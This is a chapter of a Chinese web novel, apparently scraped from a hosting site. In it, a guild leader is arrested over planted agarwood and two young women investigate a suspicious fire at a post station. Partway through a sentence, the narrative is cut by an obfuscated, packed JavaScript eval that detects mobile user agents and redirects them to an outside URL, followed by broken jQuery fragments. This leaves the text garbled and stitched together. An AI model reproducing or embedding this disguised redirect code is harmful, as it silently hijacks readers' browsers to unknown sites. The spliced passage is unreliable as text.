14. 杀手

作品:《时价商铺经营手册

    都御史举起一个木块一样的东西,范清梧没喝过酒,只能勉强凝神看到那东西的现价。


    这也是她头一回看到这么长的数字。


    她只知道沉香是一种上等香料,却从未见过。


    原来外表这么平平无奇的东西,却价值万金。


    郑佑卿明显有些惊愕,而转运使,则在都御史拿起沉香时,嗵的一声跪了下去。


    梁宏道年老体丰,跪地俯身,活像个肉球。


    年轻的都御史微微抬着下巴,鄙夷地看着他,嘴角挂着一丝哂笑。


    “郑会长,这可是从箱子夹层中找到的。”


    被点名的郑佑卿正了正神,才似寻回些理智,他思考了一会儿,拱手道:“敢问都御史大人,箱子可有商会的封?”


    都御史听罢,又让人搬了另一个还未拆封的箱子,那是正正贴好的商会封,让郑佑卿哑口无言。


    “这礼单,是你郑佑卿签的字,以商会之名行的礼,箱中丝绸确如礼单所写,但独独多了块沉香。”都御史把沉香给了下人,空出的双手背在后背,“你可认罪?”


    “大人,这绝是有人刻意为之,行构陷之事!”


    都御史却不采,转而向着依然没敢抬头,颤颤的转运使道:“梁宏道,你可是现行。”


    “大人大人,老朽一时糊涂,还请大人从宽——”


    “都给我拿了!”都御史一挥手,打断了梁宏道的求饶。


    两人被衙役架了起来,梁宏道软趴趴地栽在他们手里,郑佑卿却甚不服气,要自己走。


    衙役一脚过去,他倏而转身错开一个身位,失去重心的衙役站定几步,才追着走开的郑佑卿跑了起来,哪像是要押送,简直像他的小厮。


    范清梧有些惊讶地看着。


    “都都都御史大人!”冲出来挡道的,是郑佑卿的师爷,范清梧见过几面,自然记得。


    师爷跪在中间,挡着要被带走的郑佑卿,朝都御史磕头道:“我东家向来按规矩行事,平日不会有一丝逾矩。这礼单是我所制,品也为我所选,我看着这些东西入的箱,绝不是现在这种奢侈的货箱!大人,这里面定有蹊跷,有人要害我东家,恳请都御史大人严查!”


    师爷几乎是跪行而去,却连都御史的脚尖都没碰着,便被衙役挡了。


    都御史见这里围观者众,也不好连点情面不给,他微微抬了抬眉,说道:“我给你三天时间,你若没找到证据,就来领他的尸吧。”


    范清梧听到这儿才意识事情的严重,她转头问许寻:“这是死罪?”


    许寻愣愣摇头,一脸茫然。


    范清梧看见她额头上细汗密布,呼吸也变得有些短促。


    随着这位大人离去,围观的人好似还没醒神,安安静静。


    直到有人大声问了句:“郑佑卿被抓走了?”


    才一下炸锅似的议论起来。


    说者尽是添油加醋,好像自己身临现场,见着郑佑卿给梁宏道送上沉香似的。


    范清梧察觉到许寻有些发抖,便拉着她要离开这里。


    一转头,却瞥见二楼围栏后,站着个人。


    范清梧总算看见了他的真容。


    她从那天起,打听消息到见着画像,无时无刻不在设想她会怎样看见他。


    秦策悠悠然地站在阁楼上,一手捋着长须,好像这里发生的一切都事不关己。


    他在笑,范清梧看见了。


    “寻,许寻!”范清梧把许寻扶到铺子门前的台阶上,喊醒了一直出神的许寻,“你……在害怕吗?”


    许寻轻轻朝范清梧侧了一下头,眼睛却看着地面,她长吁一口气,才说道:“你知道吗……我虽然会些拳脚,但其实一次都没遇上过。”


    范清梧扶着她的胳膊,没有打断她。


    “最多就是雨天泥泞,山石挡道,”许寻抓紧了范清梧的手,“我从没遇到过强盗山贼,从没遇到过……会被人夺走性命那样的事……我害怕。”


    许寻停下,范清梧的手稍稍用了些力。


    “这是有人在陷害郑佑卿,而我亲历了这件事……我说的,对吗?”


    范清梧没说话,只是在许寻看过来时,朝她点了点头。


    许寻沉默着。


    街道依然人潮汹涌,敲锣打鼓,商会门前也一如先前一样,没人在意刚才发生的事,也没人注意到这关门的铺子前,席地而坐的两位姑娘。


    商会会长,死几个,是谁,都无所谓。


    范清梧知道许寻在考虑什么,她没有催促,只是陪着她,默默地看着街景。


    小孩尖叫着跑过,手里的风车像朵红花一样,呼啦啦转着。


    商贩吆喝,路人嬉笑。


    偶尔有一两句有关商会的议论飘进范清梧耳里,范清梧也只是握着许寻的手,不放开。


    “……他是无辜的吧?”许寻终于开口了。


    范清梧迟疑了片刻,才答道:“我觉得是。”


    “那我要是有可以证明他被人陷害的证据……”


    “你有吗?”范清梧轻轻问道。


    许寻又缓缓呼吸了几下,才说:“我有。”


    范清梧没回应,握着许寻的手,好像在给她反悔的时间,直到路边商贩一声东西好了的吆喝,她才缓缓问道:“你想给他作证?”


    ……


    两人到达许寻家中时,又过了两个时辰。


    许寻摸摸索索,从一个隐秘的缝隙中拿出一个小布团,在范清梧眼前打开。


    里面是一些尚未烧尽的碎纸,依稀还能看见一些书写,和红色的印章。


    “这是驿丞烧掉的单子,我觉得奇怪,就留神,从火灰里抢下了些,没让他看见。”许寻说,小心的放下这些纸片。


    有些碳化的边缘,一碰就碎成灰渣。


    “收起来,”范清梧看完说道,“要不去找这驿丞套套话?”


    “你有什么想法?”许寻问,“他的手下还挺多的。”


    搬箱子的手下。


    “他要么是被胁迫,要么就是收了好处,我们先去探探口风。”


    范清梧见许寻犹犹豫豫,拿起了自己的佩刀。


    许寻的住所离镖局很近,两人借了匹马,同乘而行,飞快地往驿站赶,此刻大概已至未时,天变得有些阴沉。


    范清梧远远地看见天边几缕黑烟,心中升起一丝不安。


    耳边风声呼呼,马蹄哒哒。


    越是靠近,就见到越多的潜火队模样的人。他们急急地往来,肩挑手拿,去的人干干净净,回来的人一身黑灰。


    “有火。”范清梧低声道。


    许寻促着马,却再跑不到更快。


    马蹄点地,嘚嘚地小步快走着,周围人来来往往,推着装满水袋沙袋的板车,吆喝着让出道路


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364788|199608||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    正前方,呼呼烈火搅着青烟蹿得老高。


    “是那儿吗?”


    范清梧只听见身后许寻轻轻哼了一声,转头见她瞪着眼睛,显得有些无措。


    马儿因为灼热的空气不愿再靠近一步。


    潜火队和村民正齐心协力救火。


    这个驿站,只剩下火中黑色的鬼影,已然烧成了灰烬。


    范清梧果断咬下自己的衣襟,转身用这撕烂的布条给许寻脸上遮了起来。


    许寻看着她,怔愣着眨了眨眼睛。


    范清梧只是用力给她扎严实。


    “以防万一。”她说。


    范清梧怕这场火不是意外。


    如果真如许寻所说,那也许就是有人在毁灭痕迹,那许寻这个押送的镖师,会不会也被人盯了上?


    范清梧跳下马,随手捉了个村民问道:“火怎么起的,有人受伤吗?”


    “不知道啊,还好节庆前好些人回了乡,就剩驿丞一人在这儿了。”


    “驿丞人怎么样?”


    “命大,活着哩,在那间屋子里,听说只是被熏昏了,大夫在看。”


    许寻栓好了马,理了理范清梧给她蒙上的布罩,一路打量着走来,和范清梧对上了视线。


    “走,去看看驿丞。”范清梧对她说。


    她们混在人群里,走进那间屋子,原来里面不止驿丞,还躺着七七八八的伤者,有的满脸油污,有的皮肤鲜红,哀痛呻吟声一片。


    空气里焦炭味混着汗味,范清梧愣了一瞬,便拉着同样愣住的许寻往里走,让出了拥挤的走道。


    大夫蹲在伤者床前,正一一查看。


    “哪个?”范清梧小声问道。


    许寻往前走,领了一段路,来到最里面。


    老驿丞躺在平凑的床铺上,头发燎没一大截,留着些焦黑的发尖,双眼紧闭,嘴半张着出气。


    范清梧观察了一会儿,转头四顾却没有可以询问的人。她一撇嘴,弯腰拍了拍老头儿的脸。


    驿丞发出一阵轻哼,没睁眼。


    范清梧啧了一声,无奈直起腰。


    没想,许寻却一屁股坐在了他铺子上,她俯身侧头,听着驿丞的鼻息。


    范清梧无所事事,只好观察着他,胡子卷卷的,手乌漆墨黑。好像是从火场中心逃出来似的。


    她又看了看旁人,没有一人像他这样。


    大家差不多都是烫伤,而这昏迷的驿丞,却没有烫伤只有毛发的焦灼。


    该不会……


    范清梧对许寻附耳道:“身上有姜片吗?”


    范清梧拿过姜片,在嘴里嚼了嚼,辛辣味四溢开来,她抹了一手,接着就往这躺着的老头儿眼睛上抹去。


    老头儿几乎是弹坐而起,他使劲揉着眼睛,过了好久,才眼泪汪汪地看着他床铺边的两人。


    “你们干什么?”


    许寻早就起身站到了一旁,脸上的布遮住了她的表情。


    范清梧探身挡在许寻前方,笑着对驿丞说:“大人?装成这样,是在躲谁呢?”


    屋内大夫见驿丞坐起来,一阵惊讶,有人要过来,被驿丞一手制止了。


    他面对着范清梧,又看见许寻身上一把长刀,顿时神色闪烁。


    范清梧看在眼里,突然意识到驿丞的反应,她按住他的腿,悄声说道:“放心,我们不是杀手。”